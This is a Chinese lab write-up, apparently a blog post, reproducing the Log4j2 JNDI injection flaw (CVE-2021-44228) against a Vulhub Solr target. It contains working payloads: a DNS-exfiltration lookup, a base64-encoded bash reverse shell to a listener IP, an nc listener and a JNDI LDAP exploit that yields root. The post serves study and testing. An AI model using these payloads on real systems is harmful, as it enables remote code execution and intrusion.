记一次log4j2(CVE-2021-44228)漏洞复现

前言

Apache Log4j是Apache的一个开源项目,是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。可以控制日志信息输送的目的地为控制台、文件、GUI组件等, 通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。Log4j2中存在JNDI注入漏洞, 当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

一、原理

Apache Log4j2是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。当调用lookup()方法时,如果lookup方法的参数是一个url地址,那么客户端就会去lookup()方法参数指定的url中加载远程对象。

二、JNDI注入的整体流程

  • 通过一个JNDI的接口传入恶意参数Exploit.class
  • 访问目录服务,获得Reference存根,发现是一个不存在的refClassName对象
  • 从指定远程HTTP服务器地址动态加载对象
  • Exploit.class下载到本地,并执行其中的代码

三、注入条件

  • JNDI的客户端使用了lookup这个参数
  • 这个lookup的参数是动态可控的
  • 需要构建一个LDAP服务,指定远程加载地址为恶意代码地址
  • 在客户端访问LDAP服务不存在的对象
  • 客户端下载恶意代码到本地执行

四、漏洞验证

漏洞环境

漏洞验证

  • 启动靶场
root@ubuntu:~# cd vulhub-master/
root@ubuntu:~/vulhub-master# cd log4j/
root@ubuntu:~/vulhub-master/log4j# cd CVE-2021-44228/
root@ubuntu:~/vulhub-master/log4j/CVE-2021-44228# docker-compose up -d
  • 访问192.168.10.134:8983/solr/admin/cores?action=1,得到json数据。
    在这里插入图片描述

  • 启动dnslog,获取一个临时的域名。
    在这里插入图片描述

  • 通过临时域名,利用JNDI发送DNS请求,构造payload:http://192.168.10.134:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.uyz18i.dnslog.cn}
    在这里插入图片描述

  • 访问之后,我们查看dnslog.cn页面,点击Refresh按钮刷新,可以看到有请求访问记录,并且带出了jdk版本号,表明存在log4j2漏洞。

在这里插入图片描述

漏洞复现

  • 下载JNDI注入的jar包,https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

  • 将反弹命令进行base64编码

bash -i >& /dev/tcp/192.168.1.112/6969 0>&1 //监听机IP/监听端口
经过base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTEyLzY5NjkgMD4mMQ==
  • 在kali执行以下命令java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTEyLzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.112(-A 后面为监听机IP)
    在这里插入图片描述
  • 在kali开启监听6969端口,执行nc -lvvp 6969
  • 构造payload:http://192.168.10.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.1.112:1389/snfvyt},并在浏览器进行访问
    在这里插入图片描述
  • 查看日志及反弹结果,发现请求了工具的恶意类,并且反弹成功,获取root权限。
    在这里插入图片描述
    注:本博客仅供个人学习使用,若用于其他违法途径,与本人无关!!!
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值